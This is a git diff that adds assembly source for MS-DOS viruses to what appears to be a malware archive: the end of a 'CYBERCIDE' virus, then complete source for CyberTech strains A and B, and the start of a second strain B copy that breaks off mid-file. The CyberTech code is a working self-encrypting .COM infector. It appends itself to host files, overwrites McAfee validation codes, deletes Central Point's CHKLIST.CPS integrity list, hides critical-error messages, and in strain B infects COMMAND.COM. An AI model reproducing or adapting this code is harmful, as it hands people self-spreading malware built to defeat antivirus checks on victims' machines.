+;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +new_int_1ch: + pushf + + cmp cs:flagga,0 + jne print_flag +exit_1c: + popf + +real_int_1ch: db 0eah ;jmp... +int_1ch_off dw ? ;to old int 1ch +int_1ch_seg dw ? +flagga db 0 ;no flag + +print_flag: + push ax + push bx + push cx + push di + push si + push ds + push es + push bp + + cld + mov ax,0b800h + mov es,ax + mov ds,ax + + mov di,1 + mov si,1 + lea bp,tabl + xor ch,ch + + mov cl,cs:[bp] + inc bp +again: + mov bl,cs:[bp] + inc bp +line: + lodsb + and al,00000111b + or al,bl + stosb + inc di + inc si + loop line + + mov cl,cs:[bp] + inc bp + cmp cl,0 + jne again + + pop bp + pop es + pop ds + pop si + pop di + pop cx + pop bx + pop ax + jmp exit_1c + +; # B G B +tabl db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + + db 80,96,80,96,80,96,80,96 + + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16 + db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16,0 + + DB '-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93 A.N.O.I DEVELOPMENT' +get_rnd: + push dx + push cx + push bx + in al,40h ;'@' + add ax,0000 + mov dx,0000 + mov cx,0007 +rnd_init5: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_init6 + inc al +rnd_init6: + loop rnd_init5 + pop bx + mov al,dl + pop cx + pop dx +rnd_init_ret: + ret + +filelen dw offset eof - offset start +memlen dw 300 +filename db 25 dup(?) + +attribute dw ? +jmp_1 db 0e9h +jmp_2 dw ? +first_bytes db 90h,0cdh,20h + +eof: + end start \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.cybrtcha.asm b/MSDOS/Virus.MSDOS.Unknown.cybrtcha.asm new file mode 100644 index 00000000..94e73c89 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybrtcha.asm @@ -0,0 +1,421 @@ +; +; CyberTech Virus - Strain A John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1992, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1993, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae On2 ; + Jmp Ready ; + +On2: Mov Ax,3600h ; Check if enough disk space + Xor Dx,Dx ; is aveable for infecting + Int 21h ; (3 clusters should be + Cmp Bx,3 ; enough i think) + Ja TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1992 is past time + Int 21h ; already + Cmp Cx,1993 ; + Jae Clean ; - 1993 or more + Jmp NoClean ; - Not 1993 or more + +; +; Main Cleanup procedure +; + +Clean: Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; + Lea Dx,Removed[Bp] ; + Int 21h ; + + Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0h ; + Jne Verder ; + Xor Ax,Ax ; +Verder: Stosb ; + Loop Trans ; + + Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Ah,40h ; write memory image of host + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; jump to ready routine + Pop Ds ; (shutdown of the virus) + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f900 ; Check if file too large + Jae ExeFile ; if yes, goto exefile + + Cmp Ax,10 ; Check if file too short + Jbe ExeFile ; if yes, goto exefile + + Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1993 +; + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1993 +; + +Msg Db 13,10,'CyberTech Virus - Strain A' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length diff --git a/MSDOS/Virus.MSDOS.Unknown.cybrtchb.asm b/MSDOS/Virus.MSDOS.Unknown.cybrtchb.asm new file mode 100644 index 00000000..76579aab --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybrtchb.asm @@ -0,0 +1,495 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; Store old file attributes + + Mov Ax,4301h ; Clear file attributes + Xor Cx,Cx ; (for read only etc.) + Int 21h ; + + Mov Ax,3d02h ; Open the file + Int 21h ; + + Mov Bx,Ax ; Read file date/time stamp + Mov Ax,5700h ; and store it on the stack + Int 21h ; for later use + Push Cx ; + Push Dx ; + + Mov Ah,3eh ; Close file + Int 21h ; + + Mov Dx,0fd80h ; Create a new file with the + Xor Cx,Cx ; same name + Mov Ah,3ch ; + Int 21h ; + + Mov Bx,Ax ; store file handle in BX + + Mov Dx,100h ; program to file (the original + Mov Cx,Bp ; file is now back again) + Sub Cx,0fch ; + + Mov Ah,40h ; write memory image of host + Int 21h ; + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Pop Cx ; restore file attributes + Mov Ax,4301h ; + Mov Dx,0fd80h ; + Int 21h ; + + Push Cs ; Show message that the + Pop Ds ; system has been infected + Mov Ah,9 ; and shutdown virus + Lea Dx,Removed[Bp] ; + Int 21h ; + Jmp Ready ; + +; +; Main viral part +; + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + + Mov Ah,9 ; If zero, display copyright + Lea Dx,Msg[Bp] ; message and generate again + Int 21h ; a number + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Mov Ah,41h ; delete CHKLIST.CPS (the + Lea Dx,CpsName[BP] ; Central Point CRC list) + Int 21h ; + + Push Si ; why??? + Ret + +; +; Message when we are in 1994 +; + +;Removed Db 13,10,'Virus removed : ',13,10 + +Removed Db 13,10,'The previous year you have been infected by a virus' + Db 13,10,'without knowing or removing it. To be gentle to you' + Db 13,10,'I decided to remove myself from your system. I suggest' + Db 13,10,'you better buy ViruScan of McAfee to ensure yourself' + Db 13,10,'complete security of your precious data. Next time you' + Db 13,10,'could be infected with a malevolent virus.' + Db 13,10,10,'May I say goodbye to you for now....',13,10 + +; +; Message when encryption byte = 0 or when we are living in 1994 +; + +Msg Db 13,10,'CyberTech Virus - Strain B' + Db 13,10,'(C) 1992 John Tardy of Trident' + Db 13,10,'$' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +CpsName Db 'chklist.cps',0 ; name for CP CRC-list + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs diff --git a/MSDOS/Virus.MSDOS.Unknown.cybtch-b.asm b/MSDOS/Virus.MSDOS.Unknown.cybtch-b.asm new file mode 100644 index 00000000..b7ae9047 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.cybtch-b.asm @@ -0,0 +1,500 @@ +; +; CyberTech Virus - Strain B John Tardy (C) 1992 +; +; Written in A86 V3.22 +; +; Description : This is a Non-Resident Self-Encrypting .COM file infector +; which infects COM files in the current directory. It will +; remove CHKLIST.CPS from the current directory after it has +; infected a program. CHKLIST.CPS is a file which is used by +; VDEFEND of PCSHELL and Central Point AntiVirus. When a +; validation code is added by SCAN of McAfee, it will overwrite +; the code, so the file is no longer CRC protected anymore. +; After 1993, the virus activated. It then displays a message +; that your system has been infected. The virus will remove +; itself from the infected file and completely restore it. If +; a validation code was added, it is lost, but the file is not +; corrupted and will function normally. Even when the file is +; compressed afterwards by an executable file compressor, it is +; uncompressed. Before 1994, the virus sometimes display it's +; copyright. This is caused when the random encryption counter +; is a 0. It will redefine it, so there is no visible text in +; the virus. It checks also if there is enough diskspace +; aveable and installs a critical error handler. +; + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae TestDate ; + Jmp Ready ; + +TestDate: Mov Ah,2ah ; Check if 1993 is past time + Int 21h ; already + Cmp Cx,1994 ; + Jae Clean ; - 1994 or more + Jmp NoClean ; - Not 1994 or more + +; +; Main Cleanup procedure +; + +Clean: Mov Ah,1ah ; Move DTA to a safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ax,Cs:[2ch] ; Find the name of the + Mov Ds,Ax ; program that is now + Mov Si,0 ; executed (me must search in + Mov Cx,4000h ; the DOS environment for +Seeker: Lodsb ; safe tracking of the name + Cmp Al,1 ; + Je On3 ; + Loop Seeker ; + +On3: Inc Si ; Transfer the found name + Push Cs ; to a safe address in memory + Pop Es ; + Mov Di,0fd80h ; + Mov Cx,80h ; +Trans: Lodsb ; + Cmp Al,0 ; + Je Verder ; + Stosb ; + Loop Trans ; + +Verder: Stosb + Sub Di,12 + Push Cs + Pop Ds + Mov Ax,[Di][0] ; + Cmp Ax,'OC' + Jne Normal + Mov Ax,[Di][2] + Cmp Ax,'MM' + Jne Normal + Mov Ax,[Di][4] + Cmp Ax,'NA' + Jne Normal + Jmp Ready + +Normal: Push Cs ; Read file attributes and + Pop Ds ; check if an error has + Mov Ax,4300h ; occured + Mov Dx,0fd80h ; + Int 21h ; + Jnc DeInfect ; - No error, DeInfect + Jmp Ready ; - Error, Ready + +DeInfect: Push Cx ; 